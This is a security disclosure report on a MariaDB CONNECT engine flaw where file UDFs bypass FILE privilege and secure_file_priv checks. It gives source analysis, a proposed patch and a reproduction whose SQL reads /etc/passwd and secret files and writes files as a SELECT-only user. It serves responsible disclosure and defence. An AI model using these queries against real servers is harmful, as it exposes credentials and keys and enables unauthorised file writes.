MariaDB · Report #3836021
Missing FILE-privilege enforcement in CONNECT file UDFs allows server-side file read and write
How it was found
Summary
- What the bug lets you do. With only
SELECTprivilege, read any file MariaDB can read (for example/etc/passwd,my.cnf, TLS private keys) and write files as themysqlOS user anywhere the process can write. - Why that should not work. Reading files from SQL normally requires the
FILEprivilege, and file paths are confined tosecure_file_priv. - What is missing. CONNECT's file UDFs (
json_file,bson_file,jfile_make,bfile_make,jbin_file) check neitherFILEnorsecure_file_priv. - How we know it is a mistake, not a design choice. The same CONNECT engine already enforces both checks on its file-backed tables (
ha_connect.cc:4538/4557/4559). Only the UDF entry points were left ungated. - Where it was reproduced. MariaDB 12.3.2 GA (current Stable, what
mariadb:latestpulls); the cited files are byte-identical onmariadb-13.0.1-rcand onmain.
The attack
Setup. The server is started with --secure-file-priv=/tmp, so file access is meant to be confined to /tmp. User plain has SELECT on one schema and no FILE.
Step 1 — the normal way is blocked, as expected:
SELECT LOAD_FILE('/tmp/secret.json'); -- NULL: plain has no FILE privilege
SELECT LOAD_FILE('/etc/passwd'); -- NULL: outside secure_file_priv (even a FILE user is blocked here)
Step 2 — the same user reads any file via the CONNECT UDF:
SELECT json_file('/etc/passwd');
-- returns: root:x:0:0:root:/root:/bin/bash ...
SELECT json_file('/tmp/secret.json');
-- returns: {"connect-udf-lab-secret":"..."}
Step 3 — the same user writes a file outside secure_file_priv, as the mysql OS user:
SELECT jfile_make('{"written":"plain-user"}',
'/var/lib/mysql/connect_udf_written.json', 0);
-- creates the file (outside /tmp), owned mysql:mysql
Net effect. FILE and secure_file_priv become unenforceable against any user who can call these UDFs.
Details
-
The CONNECT table handler already gates file access with
FILEandsecure_file_priv; the file UDFs bypass both.storage/connect/ha_connect.ccguardsFILE_NAMEtable options at:- The file UDFs open paths through the same engine with neither check.
- The table handler already enforces both — the check exists, it just wasn't wired into the UDFs.
-
Read sinks in the UDFs reach the filesystem without any privilege gate.
json_fileread (jsonudf.cpp:1587GetFileLength,:1904GetJsonFile), reached from the UDF body at:1636and:1690.bson_fileread (bsonudf.cpp:4422bson_file_init→:4450GetFileLength(args->args[0]);:4517GetJsonFile).jbin_fileread (jsonudf.cpp:5763jbin_file_init→:5789GetFileLength(args->args[0])).- No call to
check_global_access(thd, FILE_ACL)oris_secure_file_path()precedes any of them. Confirmed bygrep -niE 'FILE_ACL|is_secure_file_path|secure_file_priv|check_global_access' jsonudf.cpp bsonudf.cppreturning zero hits.
-
Write sinks in
jfile_makeandbfile_makeserialize to caller-supplied paths with the same gap.jfile_makewrite:jsonudf.cpp:4718Serialize(g, jvp->GetJson(), fn, pretty).bfile_makewrite:bsonudf.cpp:4559→:4632bnx.Serialize(g, jvp, fn, pretty).
-
The write primitive does not reach OS code execution on a standard installation.
- Writing into
plugin_dirfails on OS permissions (mysqldoes not ownplugin_dir). - The UDF loader rejects path separators and resolves only basenames from
plugin_dir. - Impact is file read and write, not RCE.
- Writing into
Triage note — CVE-2024-27766 distinction
MariaDB disputed CVE-2024-27766 on the grounds that "no privilege boundary is crossed" and "registration is an admin act." This finding is different on both points:
- CVE-2024-27766 required
FILEprivilege plus write access toplugin_dir. This finding bypassesFILEentirely — the attacker needs onlySELECT. - CVE-2024-27766 did not implicate
secure_file_priv. This finding defeatssecure_file_privthat the same CONNECT engine enforces on its own table path (ha_connect.cc:4538/4557/4559). The admin registered UDFs that discard a control the engine itself treats as mandatory elsewhere.
The asymmetry is the bug. An admin registering the UDFs as file-access helpers could reasonably expect them to respect the same FILE and secure_file_priv policy the engine applies to file-backed tables. They don't.
Patches
- Apply CONNECT's existing table-path policy to all file UDFs — require
FILEand enforcesecure_file_privbefore opening or writing any path. This coversjson_file,bson_file,jfile_make,bfile_make, andjbin_file, and any future_file-variant UDF.
// Add to each file-UDF *_init function, before GetFileLength / GetJsonFile / Serialize:
THD *thd = current_thd;
if (check_global_access(thd, FILE_ACL)) {
strcpy(message, "FILE privilege required");
return 1;
}
char real_path[FN_REFLEN];
// Canonicalize first so ../sequences don't bypass the check below:
my_realpath(real_path, args->args[0], MYF(0));
if (!is_secure_file_path(real_path)) {
strcpy(message, "path outside secure_file_priv");
return 1;
}
Note: is_secure_file_path is currently a file-static helper in ha_connect.cc. The cleanest fix moves it (or a minimal equivalent using opt_secure_file_priv from mysqld.h) to a shared header so all UDF init functions can call it without duplication. This is consistent with what MDEV-13353 did for additional table types.
- Document that these UDFs read and write server-side files, so operators know registering them requires FILE-equivalent trust — it should be stated explicitly in the CONNECT KB page for
json_fileandjfile_make.
Reproduction
-
Start MariaDB 12.3.2 with
--secure-file-priv=/tmp(pass it as amysqldcommand-line flag, e.g.docker run mariadb:12.3.2 --secure-file-priv=/tmp).Install the CONNECT plugin package on the server host —
apt-get update && apt-get install -y mariadb-plugin-connect(Debian/Ubuntu) ormariadb-connect-engine(RHEL/Rocky). Theapt-get updateis required on the officialmariadb:Docker image, which ships with a stale apt cache. The SQLINSTALL SONAME 'ha_connect'in step 2 loads the plugin from that package; both steps are required. -
As a DBA account, load and register the UDFs:
INSTALL SONAME 'ha_connect';
CREATE FUNCTION json_file RETURNS STRING SONAME 'ha_connect.so';
CREATE FUNCTION jfile_make RETURNS STRING SONAME 'ha_connect.so';
- Create a low-privilege test account and a target file:
CREATE DATABASE testdb;
CREATE USER 'plain'@'%' IDENTIFIED BY 'test';
GRANT SELECT ON testdb.* TO 'plain'@'%';
-- 'plain' has USAGE + SELECT only; no FILE.
echo '{"connect-udf-lab-secret":"topsecret"}' > /tmp/secret.json
- As
plain, verify the built-in path is blocked:
SELECT LOAD_FILE('/tmp/secret.json') IS NULL AS load_file_denied;
-- expect: 1 (NULL — plain lacks FILE)
- As
plain, call the UDF read path:
SELECT json_file('/etc/passwd'); -- expect: `root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...` (returned as one backslash-escaped string; non-JSON input is not rejected)
SELECT json_file('/tmp/secret.json'); -- expect: {"connect-udf-lab-secret":"topsecret"}
- As
plain, call the UDF write path (the UDF returns the path string on success — no row count, no boolean; verify vialsafterwards):
SELECT jfile_make('{"written":"plain-user"}',
'/var/lib/mysql/connect_udf_written.json', 0);
-- returns: /var/lib/mysql/connect_udf_written.json
ls -la /var/lib/mysql/connect_udf_written.json
# expect: -rw-rw---- mysql mysql 25 ... (file exists outside /tmp)
cat /var/lib/mysql/connect_udf_written.json
# expect: {"written":"plain-user"}
Impact
- Confidentiality: read any file the server process can access — credentials in config files, TLS private keys, system files (#2).
- Integrity: write attacker-controlled JSON to any path
mysqlcan write, outsidesecure_file_priv(#3). - Bypasses the
FILEprivilege andsecure_file_privboundary that confines SQL file access (#3).